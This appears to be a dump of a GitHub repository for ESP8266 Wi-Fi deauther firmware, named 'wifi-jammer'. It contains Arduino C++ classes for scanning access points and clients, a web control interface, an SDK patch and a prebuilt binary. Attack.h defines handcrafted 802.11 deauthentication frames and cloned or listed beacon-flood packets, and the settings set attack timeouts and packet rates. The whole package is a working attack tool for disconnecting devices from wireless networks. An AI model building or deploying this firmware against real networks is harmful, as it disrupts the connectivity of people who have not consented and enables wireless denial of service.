├── screenshots ├── 1.PNG ├── 2.PNG ├── 3.PNG ├── 4.PNG ├── 5.PNG ├── 6.PNG ├── 9.png └── 11.png ├── esp8266_deauther_1.0_1mb.bin ├── sdk_fix ├── README.txt ├── ESP8266WiFi.h ├── user_interface.h └── ESP8266WiFi.cpp ├── htmlfiles ├── functions.js ├── manifest.json ├── minifier.html ├── style.css ├── clients.html ├── index.html ├── attack.html └── settings.html ├── esp8266_deauther ├── Mac.h ├── MacList.h ├── NameList.h ├── SSIDList.h ├── APScan.h ├── MacList.cpp ├── Settings.h ├── ClientScan.h ├── Mac.cpp ├── NameList.cpp ├── SSIDList.cpp ├── Attack.h ├── Settings.cpp ├── ClientScan.cpp ├── APScan.cpp ├── esp8266_deauther.ino └── Attack.cpp ├── LICENSE ├── LICENSE.md └── README.md /screenshots/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/1.PNG -------------------------------------------------------------------------------- /screenshots/2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/2.PNG -------------------------------------------------------------------------------- /screenshots/3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/3.PNG -------------------------------------------------------------------------------- /screenshots/4.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/4.PNG -------------------------------------------------------------------------------- /screenshots/5.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/5.PNG -------------------------------------------------------------------------------- /screenshots/6.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/6.PNG -------------------------------------------------------------------------------- /screenshots/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/9.png -------------------------------------------------------------------------------- /screenshots/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/screenshots/11.png -------------------------------------------------------------------------------- /esp8266_deauther_1.0_1mb.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnkimdinh/wifi-jammer/HEAD/esp8266_deauther_1.0_1mb.bin -------------------------------------------------------------------------------- /sdk_fix/README.txt: -------------------------------------------------------------------------------- 1 | Copy these files and past them at the location. 2 | 3 | user_interface ---> \packages\esp8266\hardware\esp8266\2.0.0\tools\sdk\include 4 | ESP8266WiFi.cpp and ESP8266WiFi.h ---> \packages\esp8266\hardware\esp8266\2.0.0\libraries\ESP8266WiFi\src -------------------------------------------------------------------------------- /htmlfiles/functions.js: -------------------------------------------------------------------------------- 1 | function getResponse(adr, callback, timeoutCallback = function(){location.reload()}, timeout = 8000){ 2 | var xmlhttp = new XMLHttpRequest(); 3 | xmlhttp.onreadystatechange = function() { 4 | if(xmlhttp.readyState == 4){ 5 | if(xmlhttp.status == 200) callback(xmlhttp.responseText); 6 | else timeoutCallback(); 7 | } 8 | }; 9 | xmlhttp.open("GET", adr, true); 10 | xmlhttp.send(); 11 | xmlhttp.timeout = timeout; 12 | xmlhttp.ontimeout = timeoutCallback; 13 | } -------------------------------------------------------------------------------- /esp8266_deauther/Mac.h: -------------------------------------------------------------------------------- 1 | #ifndef Mac_h 2 | #define Mac_h 3 | 4 | #include 5 | 6 | class Mac 7 | { 8 | public: 9 | Mac(); 10 | void set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth); 11 | void setAt(uint8_t first, int num); 12 | void setMac(Mac adr); 13 | String toString(); 14 | void _print(); 15 | void _println(); 16 | uint8_t _get(int num); 17 | bool compare(Mac target); 18 | bool valid(); 19 | private: 20 | uint8_t adress[6]; 21 | }; 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /esp8266_deauther/MacList.h: -------------------------------------------------------------------------------- 1 | #ifndef MacList_h 2 | #define MacList_h 3 | 4 | #define listLen 64 5 | 6 | #include "Mac.h" 7 | 8 | class MacList 9 | { 10 | public: 11 | MacList(); 12 | int add(Mac adr); 13 | void remove(Mac adr); 14 | void set(int num, Mac adr); 15 | void info(); 16 | bool contains(Mac adr); 17 | int getNum(Mac adr); 18 | Mac _get(int i); 19 | void _clear(); 20 | 21 | int num = 0; 22 | Mac macAdrs[listLen]; 23 | private: 24 | int len = listLen; 25 | 26 | void addPacket(Mac adr); 27 | }; 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /htmlfiles/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "sites":[ 3 | "error404.html", 4 | "style.css", 5 | "functions.js", 6 | "index.html", 7 | "clients.html", 8 | "attack.html", 9 | "settings.html" 10 | ], 11 | "json":[ 12 | "APScanResults.json", 13 | "ClientScanResults.json", 14 | "settings.json", 15 | "attackInfo.json" 16 | ], 17 | "commands":[ 18 | "APScan.json", 19 | "APSelect.json", 20 | "ClientScan.json", 21 | "ClientScanTime.json", 22 | "clientSelect.json", 23 | "setName.json", 24 | "attackStart.json", 25 | "settingsSave.json", 26 | "settingsReset.json", 27 | "deleteName.json", 28 | "clearNameList.json", 29 | "editNameList.json", 30 | "addSSID.json", 31 | "cloneSSID.json", 32 | "deleteSSID.json", 33 | "randomSSID.json", 34 | "clearSSID.json", 35 | "resetSSID.json", 36 | "saveSSID.json" 37 | ] 38 | } -------------------------------------------------------------------------------- /esp8266_deauther/NameList.h: -------------------------------------------------------------------------------- 1 | #ifndef NameList_h 2 | #define NameList_h 3 | 4 | #include 5 | #include "Mac.h" 6 | #include "MacList.h" 7 | 8 | #define romAdr 0 9 | #define maxSize 1024 10 | #define listLength 50 11 | #define nameLength 18 12 | 13 | /* 14 | The NameList holds and saves all your custom device names in the EEPROM. 15 | You can modify the length above, but be careful the EEPROM size is limited. 16 | You may have to call nameList.clear() when uploading for the first time. 17 | */ 18 | extern const bool debug; 19 | 20 | class NameList 21 | { 22 | public: 23 | NameList(); 24 | void load(); 25 | void clear(); 26 | void add(Mac client, String name); 27 | void edit(int num, String name); 28 | String get(Mac client); 29 | String getName(int num); 30 | Mac getMac(int num); 31 | void remove(int num); 32 | int len = 0; 33 | private: 34 | void save(); 35 | 36 | MacList clients; 37 | uint8_t names[listLength][nameLength]; 38 | }; 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /esp8266_deauther/SSIDList.h: -------------------------------------------------------------------------------- 1 | #ifndef SSIDList_h 2 | #define SSIDList_h 3 | 4 | #include 5 | #include "Mac.h" 6 | #include "MacList.h" 7 | 8 | #define listAdr 2048 9 | #define lenAdr 2047 10 | #define SSIDListLength 64 11 | #define SSIDLength 32 12 | 13 | extern const bool debug; 14 | 15 | class SSIDList 16 | { 17 | public: 18 | SSIDList(); 19 | 20 | void load(); 21 | void clear(); 22 | void add(String name); 23 | void addClone(String name); 24 | void edit(int num, String name); 25 | String get(int num); 26 | void remove(int num); 27 | void _random(); 28 | void save(); 29 | int len = 0; 30 | private: 31 | 32 | char letters[67] = {0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x20,0x2c,0x2e,0x2d,0x5f}; 33 | char names[SSIDListLength][SSIDLength]; 34 | }; 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Tejas Lotlikar 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Tejas Lotlikar 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /esp8266_deauther/APScan.h: -------------------------------------------------------------------------------- 1 | #ifndef APScan_h 2 | #define APScan_h 3 | 4 | #define maxAPScanResults 30 5 | 6 | #include 7 | #include "Mac.h" 8 | #include "MacList.h" 9 | #include "Settings.h" 10 | 11 | extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); 12 | extern const bool debug; 13 | 14 | extern Settings settings; 15 | 16 | class APScan{ 17 | public: 18 | APScan(); 19 | 20 | bool start(); 21 | String getResults(); 22 | String getResult(int i); 23 | void select(int num); 24 | 25 | String getAPName(int num); 26 | String getAPEncryption(int num); 27 | //String getAPVendor(int num); 28 | String getAPMac(int num); 29 | bool getAPSelected(int num); 30 | bool isHidden(int num); 31 | int getAPRSSI(int num); 32 | int getAPChannel(int num); 33 | 34 | int getFirstTarget(); 35 | bool isSelected(int num); 36 | 37 | int results = 0; 38 | int selectedSum; 39 | MacList aps; 40 | private: 41 | int channels[maxAPScanResults]; 42 | int rssi[maxAPScanResults]; 43 | char names[maxAPScanResults][33]; 44 | int encryption[maxAPScanResults]; 45 | bool hidden[maxAPScanResults]; 46 | 47 | String getEncryption(int code); 48 | 49 | bool selected[maxAPScanResults]; 50 | }; 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /esp8266_deauther/MacList.cpp: -------------------------------------------------------------------------------- 1 | #include "MacList.h" 2 | 3 | MacList::MacList(){ 4 | 5 | } 6 | 7 | bool MacList::contains(Mac adr){ 8 | for(int i=0;i 5 | #include "Mac.h" 6 | #include "MacList.h" 7 | #include "NameList.h" 8 | 9 | extern const bool debug; 10 | extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); 11 | extern void eepromWriteInt(int adr, int val); 12 | extern int eepromReadInt(int adr); 13 | extern NameList nameList; 14 | 15 | #define ssidLenAdr 1024 16 | #define ssidAdr 1025 17 | #define passwordLenAdr 1057 18 | #define passwordAdr 1058 19 | #define deauthReasonAdr 1090 20 | #define attackTimeoutAdr 1091 21 | #define attackPacketRateAdr 1093 22 | #define clientScanTimeAdr 1094 23 | #define attackEncryptedAdr 1095 24 | #define ssidHiddenAdr 1096 25 | #define apScanHiddenAdr 1097 26 | #define apChannelAdr 1098 27 | 28 | class Settings 29 | { 30 | public: 31 | Settings(); 32 | void load(); 33 | void reset(); 34 | void save(); 35 | String get(); 36 | void info(); 37 | 38 | int ssidLen; 39 | String ssid = ""; 40 | bool ssidHidden; 41 | int passwordLen; 42 | String password = ""; 43 | int apChannel; 44 | 45 | bool apScanHidden; 46 | 47 | uint8_t deauthReason; 48 | unsigned int attackTimeout; 49 | int attackPacketRate; 50 | 51 | int clientScanTime; 52 | bool attackEncrypted; 53 | private: 54 | }; 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /esp8266_deauther/ClientScan.h: -------------------------------------------------------------------------------- 1 | #ifndef ClientScan_h 2 | #define ClientScan_h 3 | 4 | #define maxClientScanResults 40 5 | 6 | #include 7 | #include "Mac.h" 8 | #include "MacList.h" 9 | #include "APScan.h" 10 | #include "NameList.h" 11 | 12 | extern "C" { 13 | #include "user_interface.h" 14 | } 15 | 16 | extern APScan apScan; 17 | extern NameList nameList; 18 | 19 | extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); 20 | extern bool intInArray(int num, int _array[]); 21 | extern void PrintHex8(uint8_t *data, uint8_t length); 22 | extern const bool debug; 23 | 24 | class ClientScan{ 25 | public: 26 | ClientScan(); 27 | 28 | void start(int _time); 29 | bool stop(); 30 | void packetSniffer(uint8_t *buf, uint16_t len); 31 | 32 | String getResults(); 33 | void select(int num); 34 | 35 | String getClientName(int num); 36 | int getClientPackets(int num); 37 | String getClientVendor(int num); 38 | Mac getClientMac(int num); 39 | bool getClientSelected(int num); 40 | int getFirstClient(); 41 | 42 | int results = 0; 43 | int timeout = 0; 44 | 45 | bool sniffing = false; 46 | private: 47 | long startTime = 0; 48 | 49 | Mac from; 50 | Mac to; 51 | 52 | Mac broadcast; 53 | Mac zero; 54 | 55 | MacList clients; 56 | char vendors[maxClientScanResults][9]; 57 | int packets[maxClientScanResults]; 58 | bool selected[maxClientScanResults]; 59 | 60 | int channels[13]; 61 | int channelsNum = 0; 62 | int curChannel = 0; 63 | }; 64 | 65 | #endif 66 | -------------------------------------------------------------------------------- /esp8266_deauther/Mac.cpp: -------------------------------------------------------------------------------- 1 | #include "Mac.h" 2 | 3 | Mac::Mac(){ 4 | adress[0] = 0x00; 5 | adress[1] = 0x00; 6 | adress[2] = 0x00; 7 | adress[3] = 0x00; 8 | adress[4] = 0x00; 9 | adress[5] = 0x00; 10 | } 11 | 12 | void Mac::set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth){ 13 | adress[0] = first; 14 | adress[1] = second; 15 | adress[2] = third; 16 | adress[3] = fourth; 17 | adress[4] = fifth; 18 | adress[5] = sixth; 19 | } 20 | 21 | void Mac::setAt(uint8_t first, int num){ 22 | if(num > -1 && num < 6) adress[num] = first; 23 | } 24 | 25 | void Mac::setMac(Mac adr){ 26 | adress[0] = adr._get(0); 27 | adress[1] = adr._get(1); 28 | adress[2] = adr._get(2); 29 | adress[3] = adr._get(3); 30 | adress[4] = adr._get(4); 31 | adress[5] = adr._get(5); 32 | } 33 | 34 | bool Mac::valid(){ 35 | for(int i=0;i<6;i++){ 36 | if(adress[i] != 0xFF && adress[i] != 0x00) return true; 37 | } 38 | return false; 39 | } 40 | 41 | String Mac::toString(){ 42 | String value = ""; 43 | for(int i=0; i<6; i++) { 44 | if(adress[i]<0x10) { 45 | value += "0"; 46 | } 47 | value += String(adress[i],HEX); 48 | if(i<5) value += ":"; 49 | } 50 | return value; 51 | } 52 | 53 | void Mac::_print(){ 54 | Serial.print(Mac::toString()); 55 | } 56 | 57 | void Mac::_println(){ 58 | Serial.println(Mac::toString()); 59 | } 60 | 61 | uint8_t Mac::_get(int num){ 62 | return adress[num]; 63 | } 64 | 65 | bool Mac::compare(Mac target){ 66 | for(int i=0;i<6;i++){ 67 | if(adress[i] != target._get(i)) return false; 68 | } 69 | return true; 70 | } 71 | 72 | 73 | -------------------------------------------------------------------------------- /htmlfiles/minifier.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 32 | 33 | 34 |
35 |

36 | 37 | 38 |
39 |
40 |

41 | 42 | -------------------------------------------------------------------------------- /htmlfiles/style.css: -------------------------------------------------------------------------------- 1 | /* Global */ 2 | *,body{ 3 | margin: 0; 4 | padding: 0; 5 | font-family: arial; 6 | color: #432929; 7 | } 8 | h1{ 9 | font-size: 22px; 10 | margin-bottom: 0.6em; 11 | background: #00B0FF; 12 | color: #fff; 13 | padding:0.2em; 14 | border-radius:4px; 15 | } 16 | button{ 17 | background: #00B0FF; 18 | color: #fff; 19 | border: 1px solid #8F8F8F; 20 | border-radius: 14px; 21 | padding: 0.34em 0.3em; 22 | margin-bottom: 0.6em; 23 | } 24 | button:hover{ 25 | color: #000; 26 | } 27 | input{ 28 | height: 22px; 29 | width: 120px; 30 | border: 1px solid #A99D9D; 31 | border-radius: 5px; 32 | padding: 0.2em; 33 | margin: 2px; 34 | } 35 | input[type="checkbox"]{ 36 | height: 15px; 37 | width: auto; 38 | } 39 | .warn{ 40 | color:#c20000; 41 | } 42 | .warnBtn{ 43 | background: #c20000; 44 | color: #fff; 45 | } 46 | .warnBtn:hover{ 47 | background: #f00; 48 | color: #000; 49 | } 50 | .selectedBtn{ 51 | background: #fff; 52 | color: #000; 53 | } 54 | .selectedBtn:hover{ 55 | background: #00B0FF; 56 | color: #fff; 57 | } 58 | .right{ float: right; } 59 | .bold{ font-weight: bold; } 60 | .block{ display: block; } 61 | .marginNull{ margin: 0} 62 | .blue{ color: #00B0FF } 63 | .small{ font-size: 14px; color: #727272 } 64 | 65 | /* Navigation */ 66 | nav{ 67 | background: #222; 68 | } 69 | nav a{ 70 | background: #222; 71 | color: #999; 72 | padding: 0.5em; 73 | display: inline-block; 74 | text-decoration: none; 75 | } 76 | nav a:hover{ 77 | background: #000; 78 | color:#f0f0f0; 79 | } 80 | 81 | /* Content */ 82 | #content{ 83 | padding: 0.34em; 84 | } 85 | table{ 86 | padding: 0; 87 | width: 100%; 88 | max-width: 960px; 89 | margin: 0 auto; 90 | border-spacing: 0; 91 | background: #222222; 92 | } 93 | table th{ 94 | background: #222222; 95 | color: #f0f0f0; 96 | } 97 | table td{ 98 | font-size: 14px; 99 | background: #f0f0f0; 100 | } 101 | table th, table td{ 102 | text-align: center; 103 | padding: 0.1em 0; 104 | } 105 | table .selected td{ 106 | background: #11a4cc; 107 | } -------------------------------------------------------------------------------- /esp8266_deauther/NameList.cpp: -------------------------------------------------------------------------------- 1 | #include "NameList.h" 2 | 3 | NameList::NameList(){ 4 | if((listLength*nameLength+6)+1>maxSize) Serial.println("ERROR: EEPROM OVERFLOW!"); 5 | } 6 | 7 | void NameList::load(){ 8 | len = (int)EEPROM.read(romAdr); 9 | if(len < 1 || len > listLength) NameList::clear(); 10 | 11 | int num = 0; 12 | Mac _client; 13 | 14 | for(int i=1;i= 0) len++; 43 | else if(clients.getNum(client) < 0) Serial.println("WARNING: name list is full!"); 44 | uint8_t _buf[nameLength]; 45 | name.getBytes(_buf,nameLength); 46 | for(int i=0;i -1){ 57 | for(int h=0;h 4096) Serial.println("WARNING: EEPROM overflow!"); 5 | } 6 | 7 | void SSIDList::load(){ 8 | len = EEPROM.read(lenAdr); 9 | if( len < 0 ||len > SSIDListLength){ 10 | clear(); 11 | save(); 12 | } 13 | for(int i=0;i= 0 && num < len){ 74 | for(int i=num;i 5 | 6 | extern "C" { 7 | #include "user_interface.h" 8 | } 9 | 10 | #include "Mac.h" 11 | #include "MacList.h" 12 | #include "APScan.h" 13 | #include "ClientScan.h" 14 | #include "Settings.h" 15 | #include "SSIDList.h" 16 | 17 | #define attacksNum 3 18 | #define macListLen 64 19 | #define macChangeInterval 4 20 | 21 | extern void PrintHex8(uint8_t *data, uint8_t length); 22 | extern void getRandomVendorMac(uint8_t *buf); 23 | extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); 24 | extern const bool debug; 25 | 26 | extern APScan apScan; 27 | extern ClientScan clientScan; 28 | extern Settings settings; 29 | extern SSIDList ssidList; 30 | 31 | class Attack 32 | { 33 | public: 34 | Attack(); 35 | void generate(); 36 | void run(); 37 | void start(int num); 38 | void stop(int num); 39 | void stopAll(); 40 | String getResults(); 41 | private: 42 | 43 | void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason); 44 | void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt); 45 | bool send(); 46 | 47 | //attack declarations 48 | const String attackNames[attacksNum] = {"deauth","beacon (clone)","beacon (list)"}; 49 | 50 | //attack infos 51 | String stati[attacksNum]; 52 | unsigned int packetsCounter[attacksNum]; 53 | bool isRunning[attacksNum]; 54 | 55 | MacList beaconAdrs; 56 | 57 | //packet buffer 58 | uint8_t packet[128]; 59 | int packetSize; 60 | 61 | //timestamp for running every attack 62 | unsigned long prevTime[attacksNum]; 63 | 64 | //packet declarations 65 | uint8_t deauthPacket[26] = { 66 | /* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate) 67 | /* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that) 68 | /* 4 - 9 */ 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,//reciever (target) 69 | /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap) 70 | /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap) 71 | /* 22 - 23 */ 0x00, 0x00, //fragment & squence number 72 | /* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason) 73 | }; 74 | 75 | uint8_t beaconPacket_header[36] = { 76 | /* 0 - 1 */ 0x80, 0x00, 77 | /* 2 - 3 */ 0x00, 0x00, //beacon 78 | /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast 79 | /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source 80 | /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source 81 | /* 22 - 23 */ 0xc0, 0x6c, 82 | /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 83 | /* 32 - 33 */ 0x64, 0x00, //0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s 84 | /* 34 - 35 */ 0x01, 0x04 85 | /*,0x00, 0x06, //SSID size 86 | 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID 87 | >>beaconPacket_end<<*/ 88 | }; 89 | 90 | uint8_t beaconPacket_end[12] = { 91 | 0x01, 0x08, 0x82, 0x84, 92 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01 93 | /*,channel*/ 94 | }; 95 | 96 | uint8_t beaconWPA2tag[26] = { 97 | 0x30, //RSN tag 98 | 0x18, //tag length 99 | 0x01, 0x00, //RSN version 100 | 0x00, 0x0f, 0xac, 0x02, //cipher (TKIP) 101 | 0x02, 0x00, //pair cipher 102 | 0x00, 0x0f, 0xac, 0x04, //cipher (AES) 103 | 0x00, 0x0f, 0xac, 0x02, //cipher (TKIP) 104 | 0x01, 0x00, //AKM count 105 | 0x00, 0x0f, 0xac, 0x02, //PSK 106 | 0x00, 0x00 //RSN capabilities 107 | }; 108 | 109 | int macListChangeCounter = 0; 110 | int attackTimeoutCounter[attacksNum]; 111 | int channels[macListLen]; 112 | }; 113 | 114 | #endif 115 | -------------------------------------------------------------------------------- /htmlfiles/clients.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 20 | 21 | 22 | 23 | 24 | 30 |
31 |

Scan for client devices

32 | 33 | 34 | s 35 | 36 | 37 | ready! 38 |
39 |

AP will be off while scanning!

40 |
41 | 42 |

Client devices found: 0

43 | 44 |
45 | 46 |
47 | 48 | 49 |
50 | 51 | 52 | 148 | -------------------------------------------------------------------------------- /esp8266_deauther/Settings.cpp: -------------------------------------------------------------------------------- 1 | #include "Settings.h" 2 | 3 | Settings::Settings(){ 4 | 5 | } 6 | 7 | void Settings::load(){ 8 | ssidLen = EEPROM.read(ssidLenAdr); 9 | passwordLen = EEPROM.read(passwordLenAdr); 10 | 11 | if(ssidLen < 1 || ssidLen > 32 || passwordLen < 8 || passwordLen > 32) reset(); 12 | else{ 13 | ssid = ""; 14 | password = ""; 15 | for(int i=0;i= 1 && (int)EEPROM.read(apChannelAdr) <= 11){ 21 | apChannel = (int)EEPROM.read(apChannelAdr); 22 | } else { 23 | reset(); 24 | } 25 | 26 | apScanHidden = (bool)EEPROM.read(apScanHiddenAdr); 27 | 28 | deauthReason = EEPROM.read(deauthReasonAdr); 29 | attackTimeout = eepromReadInt(attackTimeoutAdr); 30 | attackPacketRate = EEPROM.read(attackPacketRateAdr); 31 | clientScanTime = EEPROM.read(clientScanTimeAdr); 32 | attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr); 33 | } 34 | } 35 | 36 | void Settings::reset(){ 37 | if(debug) Serial.print("reset settings..."); 38 | 39 | ssid = "pwned"; 40 | password = "deauther"; //must have at least 8 characters 41 | ssidHidden = false; 42 | apChannel = 1; 43 | 44 | ssidLen = ssid.length(); 45 | passwordLen = password.length(); 46 | 47 | apScanHidden = true; 48 | 49 | deauthReason = 0x01; 50 | attackTimeout = 5*60; 51 | attackPacketRate = 10; 52 | clientScanTime = 15; 53 | attackEncrypted = false; 54 | 55 | if(debug) Serial.println("done"); 56 | 57 | save(); 58 | } 59 | 60 | void Settings::save(){ 61 | ssidLen = ssid.length(); 62 | passwordLen = password.length(); 63 | 64 | EEPROM.write(ssidLenAdr, ssidLen); 65 | EEPROM.write(passwordLenAdr, passwordLen); 66 | for(int i=0;i